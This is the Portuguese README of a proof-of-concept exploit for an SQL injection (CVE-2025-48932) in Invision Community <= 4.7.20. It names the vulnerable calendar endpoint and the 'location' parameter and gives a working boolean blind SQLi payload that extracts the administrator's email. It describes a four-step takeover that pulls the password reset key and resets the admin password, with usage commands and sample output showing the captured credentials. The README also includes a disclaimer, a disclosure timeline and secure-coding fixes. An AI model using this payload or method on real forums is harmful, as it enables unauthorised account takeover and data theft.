
Exploit de prova de conceito para CVE-2025-48932, uma injeção SQL no Invision Community <= 4.7.20. Extrai credenciais de administrador via SQLi cego e chave de redefinição de senha para tomada de conta.
Uma prova de conceito que demonstra uma vulnerabilidade de injeção de SQL no Invision Community versões <= 4.7.20.
Esta ferramenta é fornecida APENAS para fins educacionais e de testes de segurança autorizados.
ID CVE: CVE-2025-48932
Gravidade: Alta
Pontuação CVSS: A definir
Versões Afetadas: Invision Community 4.x anteriores a 4.7.21
A vulnerabilidade existe no script /applications/calendar/modules/front/calendar/view.php. A entrada do usuário passada através do parâmetro de requisição location no método IPS\calendar\modules\front\calendar\view::search() não é devidamente sanitizada antes de ser usada em consultas SQL.
Isso permite que atacantes remotos não autenticados possam:
Pré-requisitos para exploração:
Nota: Embora vulnerabilidades de injeção de SQL em versões do Invision Community 4.x < 4.7.18 pudessem levar à apropriação da conta de administrador e RCE através da redefinição da senha do administrador, a versão 4.7.18 introduziu uma nova chave de criptografia de segurança no mecanismo de redefinição de senha, tornando esse vetor de ataque mais difícil.
Clone o repositório:
git clone https://github.com/yourusername/invision-sqli-exploit.git
cd invision-sqli-exploit
Instale as dependências:
pip install -r requirements.txt
python invision-sqli-exploit.py -u http://target.com/forum/
python invision-sqli-exploit.py -u https://example.com/community/ -v
==================================================
Invision Community <= 4.7.20 SQL Injection Exploit
CVE-2025-48932
==================================================
Target: http://example.com/forum/
==================================================
[*] Obtendo token CSRF...
[+] Token CSRF encontrado: abc123def456...
[*] Passo 1: Extraindo e-mail do administrador...
[*] Extraindo dados: [email protected]
[+] E-mail do administrador: [email protected]
[!] Passo 2: Ação manual necessária!
Por favor, siga estes passos:
1. Navegue para: http://example.com/forum/index.php?/lostpassword/
2. Solicite uma redefinição de senha usando o e-mail: [email protected]
3. Pressione ENTER quando terminar...
[*] Passo 3: Extraindo chave de validação de redefinição de senha...
[*] Extraindo dados: xyz789abc123...
[+] Chave de redefinição: xyz789abc123...
[*] Passo 4: Redefinindo senha do administrador...
==================================================
[+] EXPLORAÇÃO BEM-SUCEDIDA!
==================================================
Credenciais do administrador:
Email: [email protected]
Senha: Pwned1721234567
Agora você pode fazer login em: http://example.com/forum/index.php?/login/
O exploit funciona em quatro etapas principais:
O script primeiro obtém um token CSRF do site alvo, que é necessário para requisições subsequentes.
Usando um algoritmo de busca binária, o exploit extrai dados do banco de dados caractere por caractere:
RLIKE com padrões regex para detectar condições verdadeiras/falsasConsulta a tabela core_members para extrair o endereço de e-mail do administrador.
Ponto de Injeção:
parâmetro location → calendar/view.php → método search()
Exemplo de Payload:
'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#
Técnica de Exploração: Injeção SQL cega baseada em booleano usando busca binária para extração eficiente de dados.
Ações Imediatas:
Práticas de Codificação Segura:
Exemplo de Código Seguro:
// Código vulnerável
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";
// Código seguro
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);
| Data | Evento |
|---|---|
| 16 de maio de 2025 | Fornecedor notificado |
| 27 de maio de 2025 | Versão 4.7.21 lançada |
Desenvolvedor:
Nota: Esta é uma implementação independente baseada em informações de vulnerabilidade divulgadas publicamente (CVE-2025-48932)
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.
Contribuições são bem-vindas! Sinta-se à vontade para enviar um Pull Request. Para mudanças significativas, abra uma issue primeiro para discutir o que você gostaria de alterar.
Esta ferramenta é distribuída sob a Licença MIT. Ao usar este software, você concorda com:
Lembre-se: Acesso não autorizado a sistemas de computador é crime na maioria das jurisdições e pode resultar em sérias consequências legais.
Se você descobrir uma vulnerabilidade de segurança, divulgue-a de forma responsável ao fornecedor antes de torná-la pública.
| Argumento | Descrição | Obrigatório |
|---|
-u, --url | URL base do Invision Community alvo | Sim |
-v, --verbose | Ativa saída detalhada para depuração | Não |
-h, --help | Exibe a mensagem de ajuda e sai | Não |
| 28 de maio de 2025 |
| Identificador CVE solicitado |
| 28 de maio de 2025 | CVE-2025-48932 atribuído |
| 23 de julho de 2025 | Divulgação pública |